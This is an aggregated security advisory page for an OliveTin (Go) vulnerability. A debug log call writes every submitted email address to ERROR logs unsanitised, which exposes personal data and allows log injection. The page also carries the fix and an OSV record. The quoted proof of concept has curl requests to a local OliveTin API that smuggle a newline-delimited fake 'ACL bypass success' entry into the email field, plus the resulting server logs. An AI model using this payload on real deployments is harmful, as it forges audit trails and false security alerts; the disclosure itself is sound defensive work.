GHSA-xx6g-43w2-9g6g: Github.com/OliveTin/OliveTin OliveTin's Email Argument Makes Compliance Vulnerability

MODERATE
CWE-532 CWE-117
Published
Advisory Summary

GHSA-xx6g-43w2-9g6g is a MODERATE olivetin's email argument makes compliance vulnerability (CWE-532: Insertion of Sensitive Information into Log File) affecting Github.com/OliveTin/OliveTin libraries in the Go ecosystem. The issue involves olivetin's email argument makes compliance harder, enables log injection. Remediation is available by upgrading affected packages to version 3000.11.3.

GHSA-xx6g-43w2-9g6g at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-xx6g-43w2-9g6g
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-532: Insertion of Sensitive Information into Log File
Affected Product Github.com/OliveTin/OliveTin
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-xx6g-43w2-9g6g

To remediate this vulnerability, upgrade all affected Github.com/OliveTin/OliveTin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/OliveTin/OliveTin fixed: 3000.11.3
Upgrade github.com/OliveTin/OliveTin to 3000.11.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/OliveTin/OliveTin

How to Check if You Are Affected

To determine whether your application is affected by GHSA-xx6g-43w2-9g6g, inspect your project dependencies for Github.com/OliveTin/OliveTin:

inspect dependencies for github.com/OliveTin/OliveTin

Analyze the terminal output to locate any version of Github.com/OliveTin/OliveTin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3000.11.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-532: Insertion of Sensitive Information into Log File, where the product writes sensitive information to a log file. In Github.com/OliveTin/OliveTin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response. ### Details File: service/internal/executor/arguments.go Line: 254 Version confirmed: 3000.11.1 ### Vulnerable code ```go func typeSafetyCheckEmail(value string) error { _, err := mail.ParseAddress(value) log.Errorf("Email check: %v, %v", err, value) if err != nil { return err } return nil } ``` The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences: 1. PII Exposure via ERROR logs Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under 3. Log Injection The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send: `alice@example.com\nlevel="error" msg="ACL bypass success" username="admin"` OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables: - Forged security alerts that trigger real PagerDuty/Opsgenie pages - Audit trail manipulation hiding real events among noise - False positives that exhaust on-call responder attention (alert fatigue) 4. Alert Fatigue Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission. Affected execution: mode: exec: only The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type). ## PoC ### Get the binding ID ```bash BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \ -H "Content-Type: application/json" -d '{}' | \ python3 -c " import sys,json d=json.load(sys.stdin) def f(o): if isinstance(o,dict): a=o.get('action') if a and isinstance(a,dict): for arg in a.get('arguments',[]): if arg.get('type')=='email': print(a['bindingId']) [f(v) for v in o.values()] elif isinstance(o,list): [f(i) for i in o] f(d)") echo "Binding: $BINDING" ``` ### Trigger PII exposure (valid email --> ERROR log): ```bash curl -s -X POST http://localhost:1337/api/StartAction \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"alice@example.com\"}]}" ``` ### Observed server log (confirmed on 3000.11.1): ```bash docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5 level="error" msg="Email check: <nil>, alice@example.com" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin" level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\"" level="error" msg="Email check: <nil>, alice@example.com" ``` ### Trigger log injection: ```bash curl -s -X POST http://localhost:1337/api/StartAction \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"a@b.com\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}" ``` ### Observed server log injected line appears as a real event: ```bash docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5 level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin" level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\"" level="error" msg="Email check: <nil>, alice@example.com" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"" ``` ### Impact - End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators - Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments - On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions - Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs ### Recommendation ```go func typeSafetyCheckEmail(value string) error { _, err := mail.ParseAddress(value) if err != nil { log.WithField("type", "email").Debugf("Email argument type check failed") return err } return nil } ``` `Only log on failure, at DEBUG level, and never log the value itself.`

GHSA-xx6g-43w2-9g6g Affected Github.com/OliveTin/OliveTin Versions

1 component(s)
Fixed Versions:
3000.11.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/OliveTin/OliveTin
Go
< 3000.11.3
3000.11.3

References

Frequently Asked Questions

What is GHSA-xx6g-43w2-9g6g?
GHSA-xx6g-43w2-9g6g is a security vulnerability in Github.com/OliveTin/OliveTin involving OliveTin's email argument makes compliance harder, enables log injection under CWE-532: Insertion of Sensitive Information into Log File.
Which Github.com/OliveTin/OliveTin versions are affected?
Affected versions include releases prior to 3000.11.3 across affected packages: github.com/OliveTin/OliveTin.
What version fixes GHSA-xx6g-43w2-9g6g?
Upgrading to 3000.11.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/OliveTin/OliveTin affected?
Yes, github.com/OliveTin/OliveTin is affected in releases prior to 3000.11.3. Upgrade your dependency to 3000.11.3 or later.
What CWE is associated with GHSA-xx6g-43w2-9g6g?
GHSA-xx6g-43w2-9g6g is classified under CWE-532: Insertion of Sensitive Information into Log File (The product writes sensitive information to a log file.).
How can I check Go dependencies for GHSA-xx6g-43w2-9g6g?
Run the dependency tree command: 'inspect dependencies for github.com/OliveTin/OliveTin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xx6g-43w2-9g6g",
  "modified" : "2026-03-12T14:20:39Z",
  "published" : "2026-03-12T14:20:22Z",
  "aliases" : [ ],
  "summary" : "OliveTin's email argument makes compliance harder, enables log injection",
  "details" : "### Summary\nThe typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.\n\n### Details\nFile: service/internal/executor/arguments.go Line: 254\nVersion confirmed: 3000.11.1\n\n### Vulnerable code\n\n```go\nfunc typeSafetyCheckEmail(value string) error {\n    _, err := mail.ParseAddress(value)\n    log.Errorf(\"Email check: %v, %v\", err, value) \n    if err != nil {\n        return err\n    }\n    return nil\n}\n```\n\nThe log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:\n\n1. PII Exposure via ERROR logs\n\nEvery email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under \n\n3. Log Injection\n\nThe %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:\n\n`alice@example.com\\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"`\n\nOliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:\n\n- Forged security alerts that trigger real PagerDuty/Opsgenie pages\n- Audit trail manipulation hiding real events among noise\n- False positives that exhaust on-call responder attention (alert fatigue)\n\n4. Alert Fatigue\n\nBecause even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.\n\nAffected execution:\nmode: exec: only \nThe shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).\n\n## PoC\n\n### Get the binding ID\n\n```bash\nBINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \\\n  -H \"Content-Type: application/json\" -d '{}' | \\\n  python3 -c \"\nimport sys,json\nd=json.load(sys.stdin)\ndef f(o):\n    if isinstance(o,dict):\n        a=o.get('action')\n        if a and isinstance(a,dict):\n            for arg in a.get('arguments',[]):\n                if arg.get('type')=='email': print(a['bindingId'])\n        [f(v) for v in o.values()]\n    elif isinstance(o,list): [f(i) for i in o]\nf(d)\")\necho \"Binding: $BINDING\"\n```\n\n### Trigger PII exposure (valid email --> ERROR log):\n\n```bash\ncurl -s -X POST http://localhost:1337/api/StartAction \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"bindingId\\\":\\\"$BINDING\\\",\\\"arguments\\\":[{\\\"name\\\":\\\"recipient\\\",\\\"value\\\":\\\"alice@example.com\\\"}]}\"\n```\n\n### Observed server log (confirmed on 3000.11.1):\n\n```bash\ndocker logs olivetin-test 2>&1 | grep -E \"Email check|ACL_bypass\" | tail -5\nlevel=\"error\" msg=\"Email check: <nil>, alice@example.com\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\", a@b.com\\nlevel=error msg=ACL_bypass username=admin\"\nlevel=\"warning\" msg=\"mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\"\"\nlevel=\"error\" msg=\"Email check: <nil>, alice@example.com\"\n```\n\n### Trigger log injection:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/StartAction \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"bindingId\\\":\\\"$BINDING\\\",\\\"arguments\\\":[{\\\"name\\\":\\\"recipient\\\",\\\"value\\\":\\\"a@b.com\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\"}]}\"\n```\n\n### Observed server log injected line appears as a real event:\n\n```bash\ndocker logs olivetin-test 2>&1 | grep -E \"Email check|ACL_bypass\" | tail -5\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\", a@b.com\\nlevel=error msg=ACL_bypass username=admin\"\nlevel=\"warning\" msg=\"mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\"\"\nlevel=\"error\" msg=\"Email check: <nil>, alice@example.com\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\n```\n\n### Impact\n- End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators\n- Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments\n- On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions\n- Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs\n\n### Recommendation\n\n```go\nfunc typeSafetyCheckEmail(value string) error {\n    _, err := mail.ParseAddress(value)\n    if err != nil {\n        log.WithField(\"type\", \"email\").Debugf(\"Email argument type check failed\")\n        return err\n    }\n    return nil\n}\n```\n\n`Only log on failure, at DEBUG level, and never log the value itself.`",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3000.11.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xx6g-43w2-9g6g"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/bc5e9fbe1e22ff87a4b277cb56605a46a10e561a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-117", "CWE-532" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-12T14:20:22Z",
    "nvd_published_at" : null
  }
}